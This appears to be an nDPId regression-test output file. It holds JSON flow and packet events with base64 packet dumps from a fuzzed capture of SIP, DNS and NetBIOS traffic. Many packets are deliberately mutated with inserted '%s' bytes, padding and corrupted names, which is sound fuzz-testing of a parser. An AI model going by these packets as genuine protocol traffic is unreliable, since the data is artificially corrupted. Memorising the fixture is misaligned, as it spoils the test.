+00993{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":143,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469847,"pkt_ts_usec":669186,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":509,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAVK9CABFAAHvaiZJAIB4FxjAqAEC1PIhIxPEE8QB25tyUkVmSVNURVIgc2lZOnNpcC5jeWJlckdpdHkyZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTZxJXMAMjticmFuY2g9ejloRzRiS25wMTIzNzU5MDYzLTQ2NGJjMWJiMTkyLjE2OC4xLjI7cpdvcnQNaUZyb206IDxzaXA6dm9pMTgwNjJAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTc2MDY5ZTQNClRvOiA8c2lwOnZvaTE4MDYyQHNpcC5jeWJlcmNpdHkuZGs+QwpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWOqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":143,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":475} +01057{"flow_id":45,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469847,"pkt_ts_usec":809339,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"AODtAW69ADBUADRWCABFAAICAABAADcRiivU8iEjwKgBAhPEE8QB7ov6U0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiA1NzgyMjI3MjktNG02NXE3NzWqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":145,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1120469847979,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2734,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469847,"pkt_ts_usec":979011,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaicAAIARTSrAqAECwKgBAQquADUANKw8fdoBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":145,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1120469847979,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2734,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":146,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1120469848977,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"172.168.1.2","dst_ip":"192.168.1.1","src_port":2734,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469848,"pkt_ts_usec":977728,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaigAAIARTSmsqAECwKgBAQquADUANKw8fdoBAAABAAAA4wAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00506{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":147,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1120469839664,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":147,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1120469839664,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00657{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":147,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1120469848977,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"172.168.1.2","dst_ip":"192.168.1.1","src_port":2734,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":147,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1120469848977,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"172.168.1.2","dst_ip":"192.168.1.1","src_port":2734,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":147,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1120469847667,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2733,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":147,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1120469847666,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.115.1","src_port":2733,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":147,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1120469847979,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2734,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":147,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1120469850980,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2734,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469850,"pkt_ts_usec":980540,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaikAAFIRTSjAqAECwKgBAQquADUANKw8fdoBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJYaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":147,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1120469850980,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2734,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cyberxity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":59,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469852,"pkt_ts_usec":983614,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaioAAIARTSfAqAECwKgBAQquADUANKw8Q9oBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00466{"flow_id":59,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469856,"pkt_ts_usec":989204,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaisAAIARTSbAqAECwKgBAQquADUANKw8fdoBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":152,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1120469864991,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"200.168.1.2","dst_ip":"192.168.1.1","src_port":2735,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469864,"pkt_ts_usec":991331,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEakEAAIARTSnIqAECwKgBAQqvADUAMDE089sAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRzBGFycGEAAAwAAQ=="} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":152,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1120469864991,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"200.168.1.2","dst_ip":"192.168.1.1","src_port":2735,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-adds.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":153,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1120469864992,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"253.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2735,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469864,"pkt_ts_usec":992832,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODzAW69ADBUADRWCABFAABbAABAAEARtz79qAEBwKgBAgA1Cq8ARxOw89uAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":153,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1120469864992,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"253.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2735,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +01317{"flow_id":45,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469864,"pkt_ts_usec":994366,"pkt_caplen":722,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":722,"pkt_l4_len":688,"pkt":"ADBUADRWAODtAW69CABFAALEai0AAIARFjzAqAEC1PIhIxPEE8QlcwBKUkVHSVNURVIgc2lwOnNpcC5jeWIlcwBpdHkuZGsgU0lQLzIuMA0lcwBhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMTIyMDI4NiVzADQ4MWI5ZmM4MTkyLjE2OC4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjJAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTc0NjAyODgNClRvOiA8c2lwOnZvaTE4MDYyQHNpcC5jeWJ9cmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +01065{"flow_id":45,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469865,"pkt_ts_usec":145161,"pkt_caplen":533,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":533,"pkt_l4_len":499,"pkt":"AODtAW69ADBUADRWCABFAAIHAABAADcRiibU8iEjwKgBAhPEE8QB83zWU0lQLzIuMCA0MDEgbm9uY2UgaGFzIGNoYW5nZWQNCkNhbGwtSUQ6IDU3ODIyMjcyOS00NjY1ZDc3NUA1NzgyMjI3MzItNDY2NWQ3NzINCkNTZXE6JXMAIFJFR0lTVEVSDQpGcm9tOiA8c2lwOnZvaTE4MDYyQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz03NDYwMjg4DQpUbz4gqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":156,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1120469864991,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"200.168.1.2","dst_ip":"192.168.1.1","src_port":2735,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":156,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1120469864992,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"253.168.1.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2735,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":157,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469876,"pkt_ts_usec":437351,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABPai8AAIARTB7AqAECwKgB\/wCJAIkAOluZhQIBEAABWQAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQWNNAAAgAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":157,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":158,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1120469877188,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":169,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469877,"pkt_ts_usec":188186,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOajAAAIARTB3AqAECwKgB\/wCJAKkAOluZhQIBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNB10FDQUJNAAAgAAE="} +00518{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":159,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1120469877188,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":169,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":159,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1120469877188,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":169,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":159,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1120469921898,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2736,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469921,"pkt_ts_usec":898259,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIajUAAIARTRzAqAECwKgBAQqwADUANK04fNwBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":159,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1120469921898,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2736,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":160,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1120469922894,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2684,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469922,"pkt_ts_usec":894014,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIJXMAAIARTRvAqAECwKgBAQp8ADUANK14fNwBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJRHliZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":160,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1120469922894,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2684,"dst_port":53,"l4_proto":"udp","ndpi": 